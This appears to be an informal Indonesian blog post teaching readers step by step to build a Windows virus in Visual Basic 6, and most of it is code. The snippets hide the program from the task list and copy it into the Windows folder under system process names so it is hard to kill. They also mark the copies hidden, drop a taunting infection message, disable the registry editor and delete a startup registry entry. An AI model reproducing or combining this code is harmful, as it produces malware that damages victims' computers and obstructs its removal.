Sekarang e sekarang, kita mo bikin virus pake VB6.
pertama, bikin form buat virus kamu pake standard exe aja.
dari pade bingung
ngejelasinnya aku kasih kodenya aja. biar pada blajar skalian.kan udah gedhe..
‘cape dewh’
buat postingan yang pertama ni tak kasih kode yang simpel aja. yang ngga pake deklarasi. biar gak terlalu bingung. ‘aku aja masih bingung’ hehehe,,
1. Nyembunyiin Form 
Private Sub Form_Load()
App.TaskVisible = False
End Sub
2. Kopiin Diri Sendiri
misalna mo dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe
biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows
On Error Resume Next
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\winlogon.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\csrss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\services.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\smss.exe”
FileCopy App.EXEName + “.exe”, “C:\WINDOWS\lsass.exe”
3. Bikin Direktori ato folder
misalnya bikin folder di windows direktori
On Error Resume Next
MkDir “C:\WINDOWS\virus”
4. Mengganti Atribut file
bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden
Set sembunyi = CreateObject(“Scripting.FileSystemObject”)
On Error Resume Next
sembunyi.GetFile(“C:\WINDOWS\winlogon.exe”).Attributes = 2
sembunyi.GetFile(“C:\WINDOWS\csrss.exe”).Attributes = 2
sembunyi.GetFile(“C:\WINDOWS\services.exe”).Attributes = 2
sembunyi.GetFile(“C:\WINDOWS\smss.exe”).Attributes = 2
sembunyi.GetFile(“C:\WINDOWS\lsass.exe”).Attributes = 2
tapi kalo folder pakenya
sembunyi.GetFolder(“C:\WINDOWS\”).Attributes = 2
5. Bikin Pesan Virus
bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject(“Scripting.FileSystemObject”)
Set isipesen = bikinpesen.Createtextfile(“C:\baca saya.txt “)
isipesen.writeline (“komputer kamu kena virus bodoh “)
isipesen.Close
6.Ngubah Registry
misalna mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject(“WScript.Shell”)
ubahreg.regwrite “HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools”, 1, “REG_DWORD”
7.Nghapus Registry
misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon
On Error Resume Next
Set hapusreg = CreateObject(“WScript.Shell”)
hapusreg.regdelete “HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon”
udah dulu yawh, besok disambung lagi… dah ngantuk ni,, padahal cuman bentar. yang lama nulisnya..
besok bikin virusna yang pake deklarasi biar nggak terkesan bodo virusnya. skalian aku pelajari dulu. cz, aku ndiri nggak bgitu paham pake deklarasi.. hehe,,, cape dewh” 
